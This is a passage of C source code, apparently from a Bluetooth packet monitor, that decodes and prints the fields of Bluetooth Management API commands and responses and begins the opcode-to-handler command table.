uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_set_io_capability_cmd(const void *data, uint16_t size)
{
uint8_t capability = get_u8(data);
mgmt_print_io_capability(capability);
}
static void mgmt_pair_device_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t capability = get_u8(data + 7);
mgmt_print_address(data, address_type);
mgmt_print_io_capability(capability);
}
static void mgmt_pair_device_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_cancel_pair_device_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_cancel_pair_device_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_unpair_device_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t disconnect = get_u8(data + 7);
mgmt_print_address(data, address_type);
print_enable("Disconnect", disconnect);
}
static void mgmt_unpair_device_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_user_confirmation_reply_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_user_confirmation_reply_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_user_confirmation_neg_reply_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_user_confirmation_neg_reply_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_user_passkey_reply_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint32_t passkey = get_le32(data + 7);
mgmt_print_address(data, address_type);
print_field("Passkey: 0x%4.4x", passkey);
}
static void mgmt_user_passkey_reply_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_user_passkey_neg_reply_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_user_passkey_neg_reply_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_read_local_oob_data_rsp(const void *data, uint16_t size)
{
mgmt_print_oob_data(data);
}
static void mgmt_add_remote_oob_data_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
mgmt_print_oob_data(data + 7);
}
static void mgmt_add_remote_oob_data_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_remove_remote_oob_data_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_remove_remote_oob_data_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_start_discovery_cmd(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_start_discovery_rsp(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_stop_discovery_cmd(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_stop_discovery_rsp(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_confirm_name_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t name_known = get_u8(data + 7);
const char *str;
mgmt_print_address(data, address_type);
switch (name_known) {
case 0x00:
str = "No";
break;
case 0x01:
str = "Yes";
break;
default:
str = "Reserved";
break;
}
print_field("Name known: %s (0x%2.2x)", str, name_known);
}
static void mgmt_confirm_name_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_block_device_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_block_device_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_unblock_device_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_unblock_device_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_set_device_id_cmd(const void *data, uint16_t size)
{
print_device_id(data, size);
}
static void mgmt_set_advertising_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
const char *str;
switch (enable) {
case 0x00:
str = "Disabled";
break;
case 0x01:
str = "Enabled";
break;
case 0x02:
str = "Connectable";
break;
default:
str = "Reserved";
break;
}
print_field("Advertising: %s (0x%2.2x)", str, enable);
}
static void mgmt_set_bredr_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("BR/EDR", enable);
}
static void mgmt_set_static_address_cmd(const void *data, uint16_t size)
{
print_addr_resolve("Address", data, 0x01, false);
}
static void mgmt_set_scan_parameters_cmd(const void *data, uint16_t size)
{
uint16_t interval = get_le16(data);
uint16_t window = get_le16(data + 2);
print_field("Interval: %u (0x%2.2x)", interval, interval);
print_field("Window: %u (0x%2.2x)", window, window);
}
static void mgmt_set_secure_connections_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
const char *str;
switch (enable) {
case 0x00:
str = "Disabled";
break;
case 0x01:
str = "Enabled";
break;
case 0x02:
str = "Only";
break;
default:
str = "Reserved";
break;
}
print_field("Secure Connections: %s (0x%2.2x)", str, enable);
}
static void mgmt_set_debug_keys_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
const char *str;
switch (enable) {
case 0x00:
str = "Disabled";
break;
case 0x01:
str = "Enabled";
break;
case 0x02:
str = "Generate";
break;
default:
str = "Reserved";
break;
}
print_field("Debug Keys: %s (0x%2.2x)", str, enable);
}
static void mgmt_set_privacy_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
const char *str;
switch (enable) {
case 0x00:
str = "Disabled";
break;
case 0x01:
str = "Enabled";
break;
case 0x02:
str = "Limited";
break;
default:
str = "Reserved";
break;
}
print_field("Privacy: %s (0x%2.2x)", str, enable);
print_hex_field("Key", data + 1, 16);
}
static void mgmt_load_identity_resolving_keys_cmd(const void *data, uint16_t size)
{
uint16_t num_keys = get_le16(data);
int i;
print_field("Keys: %u", num_keys);
if (size - 2 != num_keys * 23) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_keys; i++)
mgmt_print_identity_resolving_key(data + 2 + (i * 23));
}
static void mgmt_get_connection_information_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_get_connection_information_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
int8_t rssi = get_s8(data + 7);
int8_t tx_power = get_s8(data + 8);
int8_t max_tx_power = get_s8(data + 9);
mgmt_print_address(data, address_type);
print_rssi(rssi);
print_power_level(tx_power, NULL);
print_power_level(max_tx_power, "max");
}
static void mgmt_get_clock_information_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_get_clock_information_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint32_t local_clock = get_le32(data + 7);
uint32_t piconet_clock = get_le32(data + 11);
uint16_t accuracy = get_le16(data + 15);
mgmt_print_address(data, address_type);
print_field("Local clock: 0x%8.8x", local_clock);
print_field("Piconet clock: 0x%8.8x", piconet_clock);
print_field("Accuracy: 0x%4.4x", accuracy);
}
static void mgmt_add_device_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t action = get_u8(data + 7);
mgmt_print_address(data, address_type);
mgmt_print_device_action(action);
}
static void mgmt_add_device_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_remove_device_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_remove_device_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_load_connection_parameters_cmd(const void *data, uint16_t size)
{
uint16_t num_parameters = get_le16(data);
int i;
print_field("Parameters: %u", num_parameters);
if (size - 2 != num_parameters * 15) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_parameters; i++)
mgmt_print_connection_parameter(data + 2 + (i * 15));
}
static void mgmt_read_unconf_index_list_rsp(const void *data, uint16_t size)
{
uint16_t num_controllers = get_le16(data);
int i;
print_field("Controllers: %u", num_controllers);
if (size - 2 != num_controllers * 2) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_controllers; i++) {
uint16_t index = get_le16(data + 2 + (i * 2));
print_field(" hci%u", index);
}
}
static void mgmt_read_controller_conf_info_rsp(const void *data, uint16_t size)
{
uint16_t manufacturer = get_le16(data);
uint32_t supported_options = get_le32(data + 2);
uint32_t missing_options = get_le32(data + 6);
mgmt_print_manufacturer(manufacturer);
mgmt_print_options("Supported options", supported_options);
mgmt_print_options("Missing options", missing_options);
}
static void mgmt_set_external_configuration_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Configuration", enable);
}
static void mgmt_set_public_address_cmd(const void *data, uint16_t size)
{
print_addr_resolve("Address", data, 0x00, false);
}
static void mgmt_new_options_rsp(const void *data, uint16_t size)
{
uint32_t missing_options = get_le32(data);
mgmt_print_options("Missing options", missing_options);
}
static void mgmt_start_service_discovery_cmd(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
int8_t rssi = get_s8(data + 1);
uint16_t num_uuids = get_le16(data + 2);
int i;
mgmt_print_address_type(type);
print_rssi(rssi);
print_field("UUIDs: %u", num_uuids);
if (size - 4 != num_uuids * 16) {
packet_hexdump(data + 4, size - 4);
return;
}
for (i = 0; i < num_uuids; i++)
print_field("UUID: %s", bt_uuid128_to_str(data + 4 + (i * 16)));
}
static void mgmt_start_service_discovery_rsp(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_read_ext_index_list_rsp(const void *data, uint16_t size)
{
uint16_t num_controllers = get_le16(data);
int i;
print_field("Controllers: %u", num_controllers);
if (size - 2 != num_controllers * 4) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_controllers; i++) {
uint16_t index = get_le16(data + 2 + (i * 4));
uint8_t type = get_u8(data + 4 + (i * 4));
uint8_t bus = get_u8(data + 5 + (i * 4));
const char *str;
switch (type) {
case 0x00:
str = "Primary";
break;
case 0x01:
str = "Unconfigured";
break;
case 0x02:
str = "AMP";
break;
default:
str = "Reserved";
break;
}
print_field(" hci%u (%s,%s)", index, str, hci_bustostr(bus));
}
}
static void mgmt_read_local_oob_ext_data_cmd(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_read_local_oob_ext_data_rsp(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
uint16_t data_len = get_le16(data + 1);
mgmt_print_address_type(type);
print_field("Data length: %u", data_len);
print_eir(data + 3, size - 3, true);
}
static void mgmt_read_advertising_features_rsp(const void *data, uint16_t size)
{
uint32_t flags = get_le32(data);
uint8_t adv_data_len = get_u8(data + 4);
uint8_t scan_rsp_len = get_u8(data + 5);
uint8_t max_instances = get_u8(data + 6);
uint8_t num_instances = get_u8(data + 7);
int i;
mgmt_print_adv_flags(flags);
print_field("Advertising data length: %u", adv_data_len);
print_field("Scan response length: %u", scan_rsp_len);
print_field("Max instances: %u", max_instances);
print_field("Instances: %u", num_instances);
if (size - 8 != num_instances) {
packet_hexdump(data + 8, size - 8);
return;
}
for (i = 0; i < num_instances; i++) {
uint8_t instance = get_u8(data + 8 + i);
print_field(" %u", instance);
}
}
static void mgmt_add_advertising_cmd(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
uint32_t flags = get_le32(data + 1);
uint16_t duration = get_le16(data + 5);
uint16_t timeout = get_le16(data + 7);
uint8_t adv_data_len = get_u8(data + 9);
uint8_t scan_rsp_len = get_u8(data + 10);
print_field("Instance: %u", instance);
mgmt_print_adv_flags(flags);
print_field("Duration: %u", duration);
print_field("Timeout: %u", timeout);
print_field("Advertising data length: %u", adv_data_len);
print_eir(data + 11, adv_data_len, false);
print_field("Scan response length: %u", scan_rsp_len);
print_eir(data + 11 + adv_data_len, scan_rsp_len, false);
}
static void mgmt_add_advertising_rsp(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
print_field("Instance: %u", instance);
}
static void mgmt_remove_advertising_cmd(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
print_field("Instance: %u", instance);
}
static void mgmt_remove_advertising_rsp(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
print_field("Instance: %u", instance);
}
static void mgmt_get_advertising_size_info_cmd(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
uint32_t flags = get_le32(data + 1);
print_field("Instance: %u", instance);
mgmt_print_adv_flags(flags);
}
static void mgmt_get_advertising_size_info_rsp(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
uint32_t flags = get_le32(data + 1);
uint8_t adv_data_len = get_u8(data + 5);
uint8_t scan_rsp_len = get_u8(data + 6);
print_field("Instance: %u", instance);
mgmt_print_adv_flags(flags);
print_field("Advertising data length: %u", adv_data_len);
print_field("Scan response length: %u", scan_rsp_len);
}
static void mgmt_start_limited_discovery_cmd(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_start_limited_discovery_rsp(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
mgmt_print_address_type(type);
}
static void mgmt_read_ext_controller_info_rsp(const void *data, uint16_t size)
{
uint8_t version = get_u8(data + 6);
uint16_t manufacturer = get_le16(data + 7);
uint32_t supported_settings = get_le32(data + 9);
uint32_t current_settings = get_le32(data + 13);
uint16_t data_len = get_le16(data + 17);
print_addr_resolve("Address", data, 0x00, false);
mgmt_print_version(version);
mgmt_print_manufacturer(manufacturer);
mgmt_print_settings("Supported settings", supported_settings);
mgmt_print_settings("Current settings", current_settings);
print_field("Data length: %u", data_len);
print_eir(data + 19, size - 19, false);
}
static void mgmt_set_apperance_cmd(const void *data, uint16_t size)
{
uint16_t appearance = get_le16(data);
print_appearance(appearance);
}
static const struct bitfield_data mgmt_phy_table[] = {
{ 0, "BR 1M 1SLOT" },
{ 1, "BR 1M 3SLOT" },
{ 2, "BR 1M 5SLOT" },
{ 3, "EDR 2M 1SLOT" },
{ 4, "EDR 2M 3SLOT" },
{ 5, "EDR 2M 5SLOT" },
{ 6, "EDR 3M 1SLOT" },
{ 7, "EDR 3M 3SLOT" },
{ 8, "EDR 3M 5SLOT" },
{ 9, "LE 1M TX" },
{ 10, "LE 1M RX" },
{ 11, "LE 2M TX" },
{ 12, "LE 2M RX" },
{ 13, "LE CODED TX" },
{ 14, "LE CODED RX" },
{ }
};
static void mgmt_print_phys(const char *label, uint16_t phys)
{
uint16_t mask;
print_field("%s: 0x%4.4x", label, phys);
mask = print_bitfield(2, phys, mgmt_phy_table);
if (mask)
print_text(COLOR_UNKNOWN_PHY, " Unknown PHYs"
" (0x%8.8x)", mask);
}
static void mgmt_get_phy_rsp(const void *data, uint16_t size)
{
uint32_t supported_phys = get_le32(data);
uint32_t configurable_phys = get_le32(data + 4);
uint32_t selected_phys = get_le32(data + 8);
mgmt_print_phys("Supported PHYs", supported_phys);
mgmt_print_phys("Configurable PHYs", configurable_phys);
mgmt_print_phys("Selected PHYs", selected_phys);
}
static void mgmt_set_phy_cmd(const void *data, uint16_t size)
{
uint32_t selected_phys = get_le32(data);
mgmt_print_phys("Selected PHYs", selected_phys);
}
static void mgmt_read_exp_features_info_rsp(const void *data, uint16_t size)
{
uint16_t num_features = get_le16(data);
int i;
print_field("Features: %u", num_features);
if (size - 2 != num_features * 20) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_features; i++)
mgmt_print_exp_feature(data + 2 + (i * 20));
}
static void mgmt_set_exp_feature_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data + 16);
print_field("UUID: %s", bt_uuid128_to_str(data));
print_enable("Action", enable);
}
static void mgmt_set_exp_feature_rsp(const void *data, uint16_t size)
{
mgmt_print_exp_feature(data);
}
static const struct bitfield_data mgmt_added_device_flags_table[] = {
{ 0, "Remote Wakeup" },
{ }
};
static void mgmt_print_added_device_flags(char *label, uint32_t flags)
{
uint32_t mask;
print_field("%s: 0x%8.8x", label, flags);
mask = print_bitfield(2, flags, mgmt_added_device_flags_table);
if (mask)
print_text(COLOR_UNKNOWN_ADDED_DEVICE_FLAG,
" Unknown Flags (0x%8.8x)", mask);
}
static void mgmt_get_device_flags_cmd(const void *data, uint16_t size)
{
uint8_t type = get_u8(data + 6);
mgmt_print_address(data, type);
}
static void mgmt_get_device_flags_rsp(const void *data, uint16_t size)
{
uint8_t type = get_u8(data + 6);
uint32_t supported_flags = get_le32(data + 7);
uint32_t current_flags = get_le32(data + 11);
mgmt_print_address(data, type);
mgmt_print_added_device_flags("Supported Flags", supported_flags);
mgmt_print_added_device_flags("Current Flags", current_flags);
}
static void mgmt_set_device_flags_cmd(const void *data, uint16_t size)
{
uint8_t type = get_u8(data + 6);
uint32_t current_flags = get_le32(data + 7);
mgmt_print_address(data, type);
mgmt_print_added_device_flags("Current Flags", current_flags);
}
static void mgmt_set_device_flags_rsp(const void *data, uint16_t size)
{
uint8_t type = get_u8(data + 6);
mgmt_print_address(data, type);
}
static void mgmt_add_ext_adv_params_cmd(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
uint32_t flags = get_le32(data + 1);
uint16_t duration = get_le16(data + 5);
uint16_t timeout = get_le16(data + 7);
uint8_t *min_interval = (uint8_t *)(data + 9);
uint8_t *max_interval = (uint8_t *)(data + 13);
int8_t tx_power = get_s8(data + 17);
print_field("Instance: %u", instance);
mgmt_print_adv_flags(flags);
print_field("Duration: %u", duration);
print_field("Timeout: %u", timeout);
print_ext_slot_625("Min advertising interval", min_interval);
print_ext_slot_625("Max advertising interval", max_interval);
print_power_level(tx_power, NULL);
}
static void mgmt_add_ext_adv_params_rsp(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
int8_t tx_power = get_s8(data + 1);
uint8_t max_adv_data_len = get_u8(data+2);
uint8_t max_scan_rsp_len = get_u8(data+3);
print_field("Instance: %u", instance);
print_power_level(tx_power, NULL);
print_field("Available adv data len: %u", max_adv_data_len);
print_field("Available scan rsp data len: %u", max_scan_rsp_len);
}
static void mgmt_add_ext_adv_data_cmd(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
uint8_t adv_data_len = get_u8(data + 1);
uint8_t scan_rsp_len = get_u8(data + 2);
print_field("Instance: %u", instance);
print_field("Advertising data length: %u", adv_data_len);
print_eir(data + 3, adv_data_len, false);
print_field("Scan response length: %u", scan_rsp_len);
print_eir(data + 3 + adv_data_len, scan_rsp_len, false);
}
static void mgmt_add_ext_adv_data_rsp(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
print_field("Instance: %u", instance);
}
static const struct bitfield_data mgmt_adv_monitor_features_table[] = {
{ 1, "OR Patterns" },
{ }
};
static void mgmt_print_adv_monitor_features(char *label, uint32_t flags)
{
uint32_t mask;
print_field("%s: 0x%8.8x", label, flags);
mask = print_bitfield(2, flags, mgmt_adv_monitor_features_table);
if (mask)
print_text(COLOR_UNKNOWN_ADVMON_FEATURES,
" Unknown Flags (0x%8.8x)", mask);
}
static void mgmt_print_adv_monitor_handles(const void *data, uint8_t len)
{
uint8_t idx = 0;
while (idx + 2 <= len) {
print_field(" Handle: %d", get_le16(data + idx));
idx += 2;
}
}
static void mgmt_read_adv_monitor_features_rsp(const void *data, uint16_t size)
{
uint32_t supported_features = get_le32(data);
uint32_t enabled_features = get_le32(data + 4);
uint16_t max_num_handles = get_le16(data + 8);
uint8_t max_num_patterns = get_u8(data + 10);
uint16_t num_handles = get_le16(data + 11);
mgmt_print_adv_monitor_features("Supported Features",
supported_features);
mgmt_print_adv_monitor_features("Enabled Features",
enabled_features);
print_field("Max number of handles: %d", max_num_handles);
print_field("Max number of patterns: %d", max_num_patterns);
print_field("Number of handles: %d", num_handles);
mgmt_print_adv_monitor_handles(data + 13, size - 13);
}
static void mgmt_print_adv_monitor_patterns(const void *data, uint8_t len)
{
uint8_t data_idx = 0, pattern_idx = 1;
/* Reference: struct mgmt_adv_pattern in lib/mgmt.h. */
while (data_idx + 34 <= len) {
uint8_t ad_type = get_u8(data);
uint8_t offset = get_u8(data + 1);
uint8_t length = get_u8(data + 2);
print_field(" Pattern %d:", pattern_idx);
print_field(" AD type: %d", ad_type);
print_field(" Offset: %d", offset);
print_field(" Length: %d", length);
if (length <= 31)
print_hex_field(" Value ", data + 3, length);
else
print_text(COLOR_ERROR, " invalid length");
pattern_idx += 1;
data_idx += 34;
data += 34;
}
}
static void mgmt_add_adv_monitor_patterns_cmd(const void *data, uint16_t size)
{
uint8_t pattern_count = get_u8(data);
print_field("Number of patterns: %d", pattern_count);
mgmt_print_adv_monitor_patterns(data + 1, size - 1);
}
static void mgmt_add_adv_monitor_patterns_rssi_cmd(const void *data,
uint16_t size)
{
int8_t high_rssi = get_s8(data);
uint16_t high_rssi_timeout = get_le16(data + 1);
int8_t low_rssi = get_s8(data + 3);
uint16_t low_rssi_timeout = get_le16(data + 4);
uint8_t sampling_period = get_u8(data + 6);
uint8_t pattern_count = get_u8(data + 7);
print_field("RSSI data:");
print_field(" high threshold: %d dBm", high_rssi);
print_field(" high timeout: %d seconds", high_rssi_timeout);
print_field(" low threshold: %d dBm", low_rssi);
print_field(" low timeout: %d seconds", low_rssi_timeout);
if (sampling_period == 0)
print_field(" sampling: propagate all (0x00)");
else if (sampling_period == 0xff)
print_field(" sampling: just once (0xFF)");
else
print_field(" sampling: every %d ms", 100 * sampling_period);
print_field("Number of patterns: %d", pattern_count);
mgmt_print_adv_monitor_patterns(data + 8, size - 8);
}
static void mgmt_add_adv_monitor_patterns_rsp(const void *data, uint16_t size)
{
uint16_t handle = get_le16(data);
print_field("Handle: %d", handle);
}
static void mgmt_remove_adv_monitor_patterns_cmd(const void *data,
uint16_t size)
{
uint16_t handle = get_le16(data);
print_field("Handle: %d", handle);
}
static void mgmt_remove_adv_monitor_patterns_rsp(const void *data,
uint16_t size)
{
uint16_t handle = get_le16(data);
print_field("Handle: %d", handle);
}
struct mgmt_data {
uint16_t opcode;
const char *str;
void (*func) (const void *data, uint16_t size);
uint16_t size;
bool fixed;
void (*rsp_func) (const void *data, uint16_t size);
uint16_t rsp_size;
bool rsp_fixed;
};
static const struct mgmt_data mgmt_command_table[] = {
{ 0x0001, "Read Management Version Information",
mgmt_null_cmd, 0, true,
mgmt_read_version_info_rsp, 3, true },
{ 0x0002, "Read Management Supported Commands",
mgmt_null_cmd, 0, true,
mgmt_read_supported_commands_rsp, 4, false },
{ 0x0003, "Read Controller Index List",
mgmt_null_cmd, 0, true,
mgmt_read_index_list_rsp, 2, false },
{ 0x0004, "Read Controller Information",
mgmt_null_cmd, 0, true,
mgmt_read_controller_info_rsp, 280, true },
{ 0x0005, "Set Powered",
mgmt_set_powered_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x0006, "Set Discoverable",
mgmt_set_discoverable_cmd, 3, true,
mgmt_new_settings_rsp, 4, true },
{ 0x0007, "Set Connectable",
mgmt_set_connectable_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x0008, "Set Fast Connectable",
mgmt_set_fast_connectable_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x0009, "Set Bondable",
mgmt_set_bondable_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x000a, "Set Link Security",
mgmt_set_link_security_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x000b, "Set Secure Simple Pairing",
mgmt_set_secure_simple_pairing_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x000c, "Set High Speed",
mgmt_set_high_speed_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x000d, "Set Low Energy",
mgmt_set_low_energy_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x000e, "Set Device Class",
mgmt_set_device_class_cmd, 2, true,
mgmt_set_device_class_rsp, 3, true },
{ 0x000f, "Set Local Name",
mgmt_set_local_name_cmd, 260, true,
mgmt_set_local_name_rsp, 260, true },
{ 0x0010, "Add UUID",
mgmt_add_uuid_cmd, 17, true,
mgmt_add_uuid_rsp, 3, true },
{ 0x0011, "Remove UUID",
mgmt_remove_uuid_cmd, 16, true,
mgmt_remove_uuid_rsp, 3, true },
{ 0x0012, "Load Link Keys",
mgmt_load_link_keys_cmd, 3, false,
mgmt_null_rsp, 0, true },
{ 0x0013, "Load Long Term Keys",
mgmt_load_long_term_keys_cmd, 2, false,
mgmt_null_rsp, 0, true },
{ 0x0014, "Disconnect",
mgmt_disconnect_cmd, 7, true,
mgmt_disconnect_rsp, 7, true },
{ 0x0015, "Get Connections",
mgmt_null_cmd, 0, true,
mgmt_get_connections_rsp, 2, false },
{ 0x0016, "PIN Code Reply",
mgmt_pin_code_reply_cmd, 24, true,
mgmt_pin_code_reply_rsp, 7, true },
{ 0x0017, "PIN Code Negative Reply",
mgmt_pin_code_neg_reply_cmd, 7, true,
mgmt_pin_code_neg_reply_rsp, 7, true },
{ 0x0018, "Set IO Capability",
mgmt_set_io_capability_cmd, 1, true,
mgmt_null_rsp, 0, true },
{ 0x0019, "Pair Device",
mgmt_pair_device_cmd, 8, true,
mgmt_pair_device_rsp, 7, true },
{ 0x001a, "Cancel Pair Device",
mgmt_cancel_pair_device_cmd, 7, true,
mgmt_cancel_pair_device_rsp, 7, true },
{ 0x001b, "Unpair Device",
mgmt_unpair_device_cmd, 8, true,
mgmt_unpair_device_rsp, 7, true },
{ 0x001c, "User Confirmation Reply",
mgmt_user_confirmation_reply_cmd, 7, true,
mgmt_user_confirmation_reply_rsp, 7, true },
{ 0x001d, "User Confirmation Negative Reply",
mgmt_user_confirmation_neg_reply_cmd, 7, true,
mgmt_user_confirmation_neg_reply_rsp, 7, true },
{ 0x001e, "User Passkey Reply",
mgmt_user_passkey_reply_cmd, 11, true,
mgmt_user_passkey_reply_rsp, 7, true },
{ 0x001f, "User Passkey Negative Reply",
mgmt_user_passkey_neg_reply_cmd, 7, true,
mgmt_user_passkey_neg_reply_rsp, 7, true },
{ 0x0020, "Read Local Out Of Band Data",
mgmt_null_cmd, 0, true,
mgmt_read_local_oob_data_rsp, 64, true },
{ 0x0021, "Add Remote Out Of Band Data",
mgmt_add_remote_oob_data_cmd, 71, true,
mgmt_add_remote_oob_data_rsp, 7, true },
{ 0x0022, "Remove Remote Out Of Band Data",
mgmt_remove_remote_oob_data_cmd, 7, true,
mgmt_remove_remote_oob_data_rsp, 7, true },
{ 0x0023, "Start Discovery",
mgmt_start_discovery_cmd, 1, true,
mgmt_start_discovery_rsp, 1, true },
{ 0x0024, "Stop Discovery",
mgmt_stop_discovery_cmd, 1, true,
mgmt_stop_discovery_rsp, 1, true },
{ 0x0025, "Confirm Name",
mgmt_confirm_name_cmd, 8, true,
mgmt_confirm_name_rsp, 7, true },
{ 0x0026, "Block Device",
mgmt_block_device_cmd, 7, true,
mgmt_block_device_rsp, 7, true },
{ 0x0027, "Unblock Device",
mgmt_unblock_device_cmd, 7, true,
mgmt_unblock_device_rsp, 7, true },
{ 0x0028, "Set Device ID",
mgmt_set_device_id_cmd, 8, true,
mgmt_null_rsp, 0, true },
{ 0x0029, "Set Advertising",
mgmt_set_advertising_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x002a, "Set BR/EDR",
mgmt_set_bredr_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x002b, "Set Static Address",
mgmt_set_static_address_cmd, 6, true,
mgmt_new_settings_rsp, 4, true },
{ 0x002c, "Set Scan Parameters",
mgmt_set_scan_parameters_cmd, 4, true,
mgmt_null_rsp, 0, true },
{ 0x002d, "Set Secure Connections",
mgmt_set_secure_connections_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x002e, "Set Debug Keys",
mgmt_set_debug_keys_cmd, 1, true,
mgmt_new_settings_rsp, 4, true },
{ 0x002f, "Set Privacy",
mgmt_set_privacy_cmd, 17, true,
mgmt_new_settings_rsp, 4, true },
{ 0x0030, "Load Identity Resolving Keys",
mgmt_load_identity_resolving_keys_cmd, 2, false,
mgmt_null_rsp, 0, true },
{ 0x0031, "Get Connection Information",
mgmt_get_connection_information_cmd, 7, true,
mgmt_get_connection_information_rsp, 10, true },
{ 0x0032, "Get Clock Information",
mgmt_get_clock_information_cmd, 7, true,
mgmt_get_clock_information_rsp, 17, true },
{ 0x0033, "Add Device",
mgmt_add_device_cmd, 8, true,
mgmt_add_device_rsp, 7, true },
{ 0x0034, "Remove Device",
mgmt_remove_device_cmd, 7, true,
mgmt_remove_device_rsp, 7, true },
{ 0x0035, "Load Connection Parameters",
